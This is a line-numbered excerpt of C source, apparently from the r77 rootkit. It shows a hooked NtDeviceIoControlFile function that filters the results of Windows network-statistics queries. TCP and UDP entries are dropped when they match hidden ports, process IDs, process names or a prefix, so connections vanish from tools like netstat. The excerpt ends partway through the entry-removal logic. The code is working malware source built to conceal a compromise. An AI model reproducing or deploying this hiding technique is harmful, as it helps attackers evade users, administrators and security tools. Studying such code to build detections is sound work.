| 713 | return result; |
| 714 | } |
| 715 | static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength) |
| 716 | { |
| 717 | NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength); |
| 718 | |
| 719 | if (NT_SUCCESS(status)) |
| 720 | { |
| 721 | // Hide TCP and UDP entries |
| 722 | if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM)) |
| 723 | { |
| 724 | // Check, if the device is "\Device\Nsi" |
| 725 | BYTE deviceName[500]; |
| 726 | if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) && |
| 727 | !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) |
| 728 | { |
| 729 | PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer; |
| 730 | if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type == NsiUdp)) |
| 731 | { |
| 732 | WCHAR processName[MAX_PATH + 1]; |
| 733 | |
| 734 | for (DWORD i = 0; i < nsiParam->Count; i++) |
| 735 | { |
| 736 | PNT_NSI_TCP_ENTRY tcpEntry = (PNT_NSI_TCP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize); |
| 737 | PNT_NSI_UDP_ENTRY udpEntry = (PNT_NSI_UDP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize); |
| 738 | |
| 739 | // The status and process table may be NULL. |
| 740 | PNT_NSI_PROCESS_ENTRY processEntry = nsiParam->ProcessEntries ? (PNT_NSI_PROCESS_ENTRY)((LPBYTE)nsiParam->ProcessEntries + i * nsiParam->ProcessEntrySize) : NULL; |
| 741 | PNT_NSI_STATUS_ENTRY statusEntry = nsiParam->StatusEntries ? (PNT_NSI_STATUS_ENTRY)((LPBYTE)nsiParam->StatusEntries + i * nsiParam->StatusEntrySize) : NULL; |
| 742 | |
| 743 | processName[0] = L'\0'; |
| 744 | |
| 745 | BOOL hidden = FALSE; |
| 746 | if (nsiParam->Type == NsiTcp) |
| 747 | { |
| 748 | if (processEntry) GetProcessFileName(processEntry->TcpProcessId, processName, MAX_PATH); |
| 749 | |
| 750 | hidden = |
| 751 | IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry->Local.Port)) || |
| 752 | IsTcpRemotePortHidden(_byteswap_ushort(tcpEntry->Remote.Port)) || |
| 753 | processEntry && IsProcessIdHidden(processEntry->TcpProcessId) || |
| 754 | lstrlenW(processName) > 0 && IsProcessNameHidden(processName) || |
| 755 | HasPrefix(processName); |
| 756 | } |
| 757 | else if (nsiParam->Type == NsiUdp) |
| 758 | { |
| 759 | if (processEntry) GetProcessFileName(processEntry->UdpProcessId, processName, MAX_PATH); |
| 760 | |
| 761 | hidden = |
| 762 | IsUdpPortHidden(_byteswap_ushort(udpEntry->Port)) || |
| 763 | processEntry && IsProcessIdHidden(processEntry->UdpProcessId) || |
| 764 | lstrlenW(processName) > 0 && IsProcessNameHidden(processName) || |
| 765 | HasPrefix(processName); |
| 766 | } |
| 767 | |
| 768 | // If hidden, move all following entries up by one and decrease count. |
| 769 | if (hidden) |
| 770 | { |
| 771 | if (i < nsiParam->Count - 1) // Do not move following entries, if this is the last entry |
| 772 | { |
nothing calls this directly
no test coverage detected